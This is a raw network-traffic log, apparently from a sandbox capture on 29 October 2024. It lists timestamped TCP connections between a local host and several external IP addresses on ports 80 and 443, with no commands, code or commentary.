Oct 29, 2024 15:27:51.826195955 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826210976 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826220989 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826225042 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.826230049 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826232910 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.826232910 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.826241970 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826258898 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.826282024 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.826570034 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826581001 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826626062 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.828085899 CET	443	50035	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.828165054 CET	443	50035	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.828243017 CET	50035	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.828255892 CET	443	50035	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.828274965 CET	443	50035	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.828320980 CET	50035	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.828977108 CET	443	50034	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.829159021 CET	443	50034	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.829189062 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.829235077 CET	50034	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.829253912 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.830738068 CET	443	50036	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.831542969 CET	443	50037	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.831815004 CET	443	50040	23.198.7.183	192.168.2.6
Oct 29, 2024 15:27:51.832031965 CET	50040	443	192.168.2.6	23.198.7.183
Oct 29, 2024 15:27:51.832046032 CET	443	50040	23.198.7.183	192.168.2.6
Oct 29, 2024 15:27:51.832427025 CET	443	50040	23.198.7.183	192.168.2.6
Oct 29, 2024 15:27:51.833204031 CET	50040	443	192.168.2.6	23.198.7.183
Oct 29, 2024 15:27:51.833280087 CET	443	50040	23.198.7.183	192.168.2.6
Oct 29, 2024 15:27:51.837363005 CET	50037	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.837390900 CET	443	50037	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.837812901 CET	50037	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.837820053 CET	443	50037	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.838238001 CET	50035	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.838257074 CET	443	50035	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.838272095 CET	50035	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.838278055 CET	443	50035	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.841367006 CET	50034	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.841367960 CET	50034	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.841409922 CET	443	50034	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.841463089 CET	443	50034	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.846585989 CET	50036	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.846605062 CET	443	50036	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.847126007 CET	50036	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.847131968 CET	443	50036	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.851317883 CET	50043	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.851350069 CET	443	50043	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.851480961 CET	50044	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.851500034 CET	50043	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.851505041 CET	443	50044	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.851552963 CET	50044	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.851648092 CET	50043	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.851660967 CET	443	50043	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.851706982 CET	50044	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.851716042 CET	443	50044	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.879142046 CET	50040	443	192.168.2.6	23.198.7.183
Oct 29, 2024 15:27:51.956993103 CET	443	50039	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.957495928 CET	50039	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.957534075 CET	443	50039	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.957951069 CET	50039	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.957957983 CET	443	50039	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.964097023 CET	443	50037	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.964184999 CET	443	50037	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.964253902 CET	50037	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.964468956 CET	50037	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.964488029 CET	443	50037	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.964494944 CET	50037	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.964502096 CET	443	50037	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.972532988 CET	50045	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.972567081 CET	443	50045	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.972623110 CET	50045	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.973402977 CET	50045	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.973418951 CET	443	50045	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.974637032 CET	443	50036	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.974694014 CET	443	50036	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.974759102 CET	50036	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.975044966 CET	50036	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.975054026 CET	443	50036	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.975064993 CET	50036	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.975070000 CET	443	50036	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.978528976 CET	50046	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.978550911 CET	443	50046	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.978620052 CET	50046	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.978786945 CET	50046	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.978809118 CET	443	50046	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.003272057 CET	443	50038	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:52.024745941 CET	50038	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:52.024774075 CET	443	50038	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:52.026148081 CET	443	50038	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:52.026213884 CET	50038	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:52.032571077 CET	50038	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:52.032708883 CET	443	50038	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:52.032888889 CET	50038	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:52.032949924 CET	50038	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:52.032982111 CET	443	50038	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:52.075685978 CET	50038	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:52.088176966 CET	443	50039	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.088382959 CET	443	50039	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.088429928 CET	443	50039	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.088464975 CET	50039	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.088510990 CET	50039	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.092820883 CET	443	50042	20.125.209.212	192.168.2.6
Oct 29, 2024 15:27:52.094549894 CET	50042	443	192.168.2.6	20.125.209.212
Oct 29, 2024 15:27:52.094566107 CET	443	50042	20.125.209.212	192.168.2.6
Oct 29, 2024 15:27:52.095169067 CET	443	50042	20.125.209.212	192.168.2.6
Oct 29, 2024 15:27:52.099620104 CET	50042	443	192.168.2.6	20.125.209.212
Oct 29, 2024 15:27:52.099762917 CET	443	50042	20.125.209.212	192.168.2.6
Oct 29, 2024 15:27:52.099788904 CET	50042	443	192.168.2.6	20.125.209.212
Oct 29, 2024 15:27:52.106137991 CET	50039	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.106152058 CET	443	50039	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.106184959 CET	50039	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.106190920 CET	443	50039	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.123302937 CET	443	50041	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:52.123689890 CET	50041	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:52.123699903 CET	443	50041	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:52.124191046 CET	50047	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.124218941 CET	443	50047	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.124250889 CET	443	50041	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:52.124321938 CET	50047	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.124610901 CET	50041	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:52.124702930 CET	443	50041	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:52.124763012 CET	50041	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:52.124828100 CET	50041	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:52.124852896 CET	443	50041	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:52.136817932 CET	50047	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.136841059 CET	443	50047	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.143359900 CET	443	50042	20.125.209.212	192.168.2.6
Oct 29, 2024 15:27:52.153814077 CET	50042	443	192.168.2.6	20.125.209.212
Oct 29, 2024 15:27:52.206403017 CET	443	50038	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:52.207520008 CET	50038	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:52.207576036 CET	443	50038	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:52.207736015 CET	50038	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:52.251463890 CET	443	50042	20.125.209.212	192.168.2.6
Oct 29, 2024 15:27:52.273344040 CET	443	50042	20.125.209.212	192.168.2.6
Oct 29, 2024 15:27:52.273791075 CET	50042	443	192.168.2.6	20.125.209.212
Oct 29, 2024 15:27:52.276231050 CET	50042	443	192.168.2.6	20.125.209.212
Oct 29, 2024 15:27:52.276266098 CET	443	50042	20.125.209.212	192.168.2.6
Oct 29, 2024 15:27:52.326961040 CET	443	50041	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:52.327455997 CET	50041	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:52.327544928 CET	443	50041	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:52.327610970 CET	50041	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:52.521706104 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:52.521745920 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:52.527328014 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:52.527338028 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:52.587599993 CET	443	50044	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.588141918 CET	50044	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.588166952 CET	443	50044	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.588603973 CET	50044	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.588610888 CET	443	50044	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.600869894 CET	443	50043	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.601419926 CET	50043	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.601432085 CET	443	50043	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.601747036 CET	50043	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.601752043 CET	443	50043	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.691658974 CET	443	50045	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.693725109 CET	50045	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.693752050 CET	443	50045	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.694351912 CET	50045	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.694359064 CET	443	50045	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.719403028 CET	443	50044	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.719564915 CET	443	50044	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.719644070 CET	50044	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.719836950 CET	50044	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.719877005 CET	443	50044	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.719894886 CET	50044	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.719912052 CET	443	50044	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.722965002 CET	50048	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.723035097 CET	443	50048	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.723141909 CET	50048	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.724272013 CET	50048	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.724303007 CET	443	50048	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.728573084 CET	443	50046	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.728905916 CET	50046	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.728933096 CET	443	50046	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.729356050 CET	50046	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.729367971 CET	443	50046	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.734798908 CET	443	50043	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.734827995 CET	443	50043	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.734875917 CET	443	50043	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.734940052 CET	50043	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.735085964 CET	50043	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.735085964 CET	50043	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.735093117 CET	443	50043	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.735100985 CET	443	50043	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.737601042 CET	50049	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.737622023 CET	443	50049	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.737749100 CET	50049	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.737921953 CET	50049	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.737936020 CET	443	50049	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.832346916 CET	443	50045	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.832427979 CET	443	50045	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.832475901 CET	50045	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.833403111 CET	50045	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.833425999 CET	443	50045	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.833436966 CET	50045	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.833446026 CET	443	50045	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.837323904 CET	50050	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.837393045 CET	443	50050	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.837547064 CET	50050	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.837798119 CET	50050	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.837831974 CET	443	50050	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.866363049 CET	443	50046	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.866437912 CET	443	50046	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.866512060 CET	50046	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.868063927 CET	50046	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.868089914 CET	443	50046	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.868115902 CET	50046	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.868124008 CET	443	50046	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.871706009 CET	50051	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.871733904 CET	443	50051	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.872107029 CET	50051	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.872772932 CET	50051	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.872787952 CET	443	50051	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.882900953 CET	443	50047	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.883339882 CET	50047	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.883363962 CET	443	50047	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:52.883913994 CET	50047	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:52.883922100 CET	443	50047	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.015101910 CET	443	50047	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.015147924 CET	443	50047	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.015202999 CET	50047	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.015203953 CET	443	50047	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.015249968 CET	50047	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.016360044 CET	50047	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.016385078 CET	443	50047	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.016400099 CET	50047	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.016411066 CET	443	50047	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.027172089 CET	50052	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.027225018 CET	443	50052	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.027327061 CET	50052	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.028503895 CET	50052	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.028522015 CET	443	50052	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.298686028 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:53.298768044 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:53.473655939 CET	443	50049	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.474558115 CET	50049	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.474565983 CET	443	50049	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.475070000 CET	50049	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.475074053 CET	443	50049	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.497272015 CET	443	50048	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.501996040 CET	50048	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.502031088 CET	443	50048	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.502512932 CET	50048	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.502518892 CET	443	50048	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.504841089 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:53.510421038 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:53.600682020 CET	443	50050	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.602680922 CET	50050	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.602711916 CET	443	50050	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.608138084 CET	443	50049	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.608198881 CET	443	50049	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.608387947 CET	50049	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.608854055 CET	443	50051	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.608882904 CET	50050	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.608892918 CET	443	50050	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.609194040 CET	50051	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.609206915 CET	443	50051	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.609569073 CET	50049	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.609569073 CET	50049	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.609581947 CET	443	50049	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.609592915 CET	443	50049	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.609735012 CET	50051	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.609739065 CET	443	50051	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.612323999 CET	50053	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.612358093 CET	443	50053	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.612694025 CET	50053	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.612997055 CET	50053	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.613013029 CET	443	50053	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.639849901 CET	443	50048	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.639909983 CET	443	50048	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.639976978 CET	50048	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.640157938 CET	50048	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.640167952 CET	443	50048	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.640204906 CET	50048	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.640211105 CET	443	50048	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.642632961 CET	50054	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.642667055 CET	443	50054	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.642808914 CET	50054	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.642939091 CET	50054	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.642956972 CET	443	50054	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.743827105 CET	443	50050	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.743859053 CET	443	50050	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.743920088 CET	50050	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.743933916 CET	443	50050	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.744220018 CET	50050	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.744254112 CET	443	50050	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.744271040 CET	50050	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.744282007 CET	443	50050	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.744292021 CET	50050	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.744296074 CET	443	50050	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.748023033 CET	50055	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.748063087 CET	443	50055	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.748296022 CET	50055	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.748555899 CET	50055	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.748568058 CET	443	50055	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.769934893 CET	443	50052	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.771054983 CET	50052	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.771054983 CET	50052	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.771071911 CET	443	50052	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.771083117 CET	443	50052	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.786393881 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:53.786432981 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:53.786443949 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:53.786516905 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:53.788866997 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:53.795151949 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:53.901590109 CET	443	50052	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.901632071 CET	443	50052	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.901694059 CET	443	50052	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.901726007 CET	50052	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.901767969 CET	50052	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.902286053 CET	50052	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.902286053 CET	50052	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.902303934 CET	443	50052	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.902323008 CET	443	50052	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.906219006 CET	50056	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.906260014 CET	443	50056	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:53.906554937 CET	50056	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.906709909 CET	50056	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:53.906718969 CET	443	50056	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.071372032 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:54.071445942 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:54.097124100 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:54.102716923 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:54.543018103 CET	443	50054	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.543041945 CET	443	50055	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.543257952 CET	443	50053	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.543570995 CET	50055	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.543606997 CET	443	50055	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.543608904 CET	50054	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.543634892 CET	443	50054	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.544137001 CET	50054	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.544150114 CET	443	50054	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.544328928 CET	50055	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.544337988 CET	443	50055	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.544456005 CET	50053	443	192.168.2.6	13.107.246.45
